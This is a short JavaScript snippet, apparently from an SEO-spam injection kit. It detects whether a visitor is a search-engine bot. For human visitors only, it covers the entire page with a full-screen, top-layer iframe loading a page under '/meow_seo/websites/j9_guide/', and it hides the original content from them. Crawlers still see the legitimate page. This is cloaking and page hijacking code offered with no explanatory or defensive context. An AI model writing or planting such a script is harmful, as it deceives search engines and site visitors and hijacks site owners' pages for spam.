(() => {
    let url = "/meow_seo/websites/j9_guide/index.html";

    // check if the user is using a mobile device
    let isMobile = navigator.userAgent.match(
      /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
    );
  
    // check if the user is a bot
    if (!navigator.userAgent.match(/(spider|bot)/gi)) {
      // set the viewport meta tag
      document.write(
        `<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />`
      );
  
      // set the style for the body and html tags
      document.write(
        `<style>html,body{width:100%;height:100%;overflow:hidden; clear:both;}</style>`
      );
  
      // insert the iframe
      document.write(`
      <div style="width:100%;height:100%;position:absolute;top:0;left:0;z-index:2147483647;">
        <iframe src="${url}" frameborder="0" style="width: 100%; height: 100vh;"></iframe>
      </div>
    `);
    }
})();
